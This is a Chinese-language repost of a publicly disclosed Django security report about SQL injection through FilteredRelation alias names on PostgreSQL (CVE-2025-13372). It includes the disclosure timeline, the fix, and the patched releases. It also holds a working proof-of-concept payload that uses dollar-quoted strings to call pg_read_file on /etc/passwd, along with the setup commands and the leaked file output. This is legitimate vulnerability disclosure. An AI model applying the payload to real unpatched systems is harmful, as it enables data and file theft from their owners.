Django PostgreSQL SQL注入漏洞:FilteredRelation标注的安全风险

本文详细披露了Django框架在PostgreSQL数据库上,当使用FilteredRelation进行标注时,由于FORBIDDEN_ALIAS_PATTERN正则表达式过滤不完整而导致的潜在SQL注入漏洞。报告包含完整的漏洞原理分析、可复现的PoC代码、产生的实际危害以及官方的修复方案。

潜在SQL注入:在PostgreSQL上为FilteredRelation进行标注时

报告者: stackered 提交时间: 2025年11月9日 20:26 (UTC) 报告对象: Django

漏洞描述

您好Django安全团队!

此漏洞与CVE-2025-57833和CVE-2025-59681相关,源于FORBIDDEN_ALIAS_PATTERN中不完整的正则表达式过滤。

在PostgreSQL中,$符号可用于替换引号,并构建类似$$something$$$tag$something$tag$这样的原始字符串标签。这可以被滥用于使部分查询被解释为原始字符串而非实际要执行的查询。在某些情况下,这允许构建注入攻击,如下述PoC所证明。

漏洞证明 (PoC)

以下PoC可以粘贴到tests/filtered_relation/tests.py文件中的FilteredRelationTests类里。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
def test_sqli(self):
    user_data = "$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1"

    qs = (
        Book.objects.annotate(**{
            user_data: FilteredRelation(
                "editor" ),
        })
        .select_related(user_data)
    )

    try:
        import django
        for e in qs.all():
            print("######### Injected #########")
            print(e.title)
            print("############################")
    except django.db.utils.ProgrammingError as e:
        print(f"------\n{e}")

这个PoC将从PostgreSQL Docker容器中读取/etc/passwd文件,你可以使用以下命令运行该容器:

1
docker run --rm -it --net=host --name some-postgis -e POSTGRES_PASSWORD=mysecretpassword -d postgres

tests/test_sqlite.py文件修改为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
DATABASES = {
    "default": {
        "ENGINE": "django.db.backends.postgresql",
        "NAME": "django",
        "USER": "postgres",
        "PORT": 5432,
        "HOST": "localhost"
    },
}
SECRET_KEY = "mysecretpassword"

最后,PoC可以通过以下命令执行:

1
2
cd django/tests
python3 runtests.py filtered_relation.tests.FilteredRelationTests.test_sqli

以下是输出结果,显示文件已在Docker容器上成功读取:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
######### Injected #########
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash

############################

执行的完整SQL查询如下:

1
SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."name" FROM "filtered_relation_book" INNER JOIN "filtered_relation_editor" $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1 ON ("filtered_relation_book"."editor_id" = $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")

在此上下文中,此漏洞利用之所以有效,是因为用户输入在查询中被多次反射,使得$a$, $b$, $c$, … 等标签得以闭合,并使大部分查询被解释为select语句的原始字符串。

以下是简化后的查询,以提高可读性:

1
SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$...$a$,$b$...$b$,$c$...$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")

影响

其影响是SQL注入,允许窃取数据、读取系统文件(如PoC所示),或允许远程命令执行。

修复方案

修复方案是在FORBIDDEN_ALIAS_PATTERN正则表达式中添加$符号。


时间线与沟通记录

jacobtylerwalls (Django工作人员) 发表评论 - 2025年11月10日 17:15 (UTC)

你好 stackered,

感谢你的报告。我们将进行调查并尽快回复你。在此期间,请对此信息保密。

如果你还没有查看,请阅读Django安全团队如何评估报告:https://docs.djangoproject.com/en/dev/internals/security/。

请注意,我们完成分析可能需要几周时间。除非你发现新的相关信息,否则无需催促安全团队。所有报告的目标是在行业标准的90天内解决。

祝好, Jacob

jacobtylerwalls (Django工作人员) 发表评论 - 14天前

你好 stackered,

感谢你的报告和耐心等待。我们已经确认了该漏洞,其已被分配CVE编号:CVE-2025-13372。

我已附上我们提出的缓解解决方案。你能请测试一下这个补丁以确保它能可靠地修复问题吗?

我们计划在一篇博客文章中提及漏洞的发现者。使用"stackered"可以吗?或者你希望用其他名字署名?

包含此修复的Django版本目前计划于12月2日发布。请在更新版本发布之前对此保密。

0001-Fixed-CVE-2025-13372-Protected-FilteredRelation-agai.patch (F5022077)

再次感谢!

jacobtylerwalls (Django工作人员) 将状态更改为 已分类 (Triaged) - 14天前

stackered 发表评论 - 13天前

你好 Jacob,

我已经测试了提议的补丁,无法再复现该问题。

使用 Stackered 署名没问题,谢谢。

祝你有美好的一天!

nessita (Django工作人员) 关闭报告并将状态更改为 已解决 (Resolved) - 3小时前

此问题已于 2025年12月2日 14:00 修复并发布。 Django安全版本已发布:5.2.9, 5.1.15, 和 4.2.27

详细信息可在Django项目博客上查看: https://www.djangoproject.com/weblog/2025/dec/02/security-releases/

The Internet Bug Bounty 已决定此报告不符合赏金资格 - 3小时前

Django不为安全报告提供金钱奖励。

你可以根据以下链接向互联网漏洞赏金计划提交该问题: https://hackerone.com/ibb

nessita (Django工作人员) 请求公开此报告 - 3小时前

stackered 同意公开此报告 - 3小时前

此报告已被公开 - 3小时前


报告日期: 2025年11月9日 20:23 (UTC) 报告者: stackered 报告对象: Django 报告ID: #3417967 状态: 已解决 严重性: 高 (8.1) 公开日期: 2025年12月2日 15:28 (UTC) 弱点: SQL注入 CVE ID: CVE-2025-57833, CVE-2025-59681 赏金: 隐藏

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计